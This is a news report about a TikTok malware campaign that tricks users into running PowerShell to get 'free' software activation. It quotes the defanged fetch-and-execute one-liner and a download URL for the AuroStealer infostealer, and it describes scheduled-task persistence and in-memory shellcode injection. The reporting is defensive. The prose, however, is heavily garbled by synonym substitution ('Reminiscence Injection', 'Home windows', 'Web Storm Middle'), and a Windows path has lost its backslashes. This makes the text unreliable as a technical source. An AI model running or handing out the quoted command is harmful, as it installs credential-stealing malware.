Cybercriminals are exploiting TikTok’s huge person base to distribute subtle malware campaigns that promise free software program activation however ship harmful payloads as an alternative.
The assault leverages social engineering techniques paying homage to the ClickFix approach, the place unsuspecting customers are tricked into executing malicious PowerShell instructions on their techniques.
Victims encounter TikTok movies providing free activation of widespread software program like Photoshop, with one such video accumulating over 500 likes earlier than detection.
The assault chain begins when customers comply with directions to open PowerShell with administrator privileges and execute a deceptively easy one-liner command.
The preliminary an infection vector instructs victims to run the command iex (irm slmgr[.]win/photoshop), which fetches and executes malicious PowerShell code from a distant server.
This primary-stage payload (SHA256: 6D897B5661AA438A96AC8695C54B7C4F3A1FBF1B628C8D2011E50864860C6B23) achieved a VirusTotal detection charge of 17/63, demonstrating its evasive capabilities.
The script downloads a secondary executable known as updater.exe from hxxps://file-epq[.]pages[.]dev/updater.exe, which evaluation revealed as AuroStealer malware designed to reap delicate credentials and system info.
Faux TikTok video (Supply – Web Storm Middle)
Web Storm Middle researchers recognized the marketing campaign and found that persistence mechanisms are carried out by means of scheduled duties disguised as legit system processes.
The malware randomly selects process names comparable to “MicrosoftEdgeUpdateTaskMachineCore” to mix in with real Home windows providers, making certain execution at each person logon.
A 3rd payload named supply.exe (SHA256: db57e4a73d3cb90b53a0b1401cb47c41c1d6704a26983248897edcc13a367011) introduces a sophisticated evasion approach by compiling C# code on-demand throughout runtime utilizing the .NET Framework compiler situated at C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe.
Self-Compiling Approach and Reminiscence Injection
The self-compiling functionality represents a complicated method to evade conventional detection mechanisms.
The malware compiles a C# class throughout execution that imports kernel32.dll features together with VirtualAlloc, CreateThread, and WaitForSingleObject.
This dynamically compiled code allocates executable reminiscence area, injects shellcode straight into the method reminiscence, and creates a brand new thread to execute the malicious payload with out writing further information to disk.
Researchers found a number of variations of this marketing campaign throughout TikTok focusing on customers trying to find cracked variations of varied software program purposes, highlighting the significance of avoiding untrusted sources for software program downloads.
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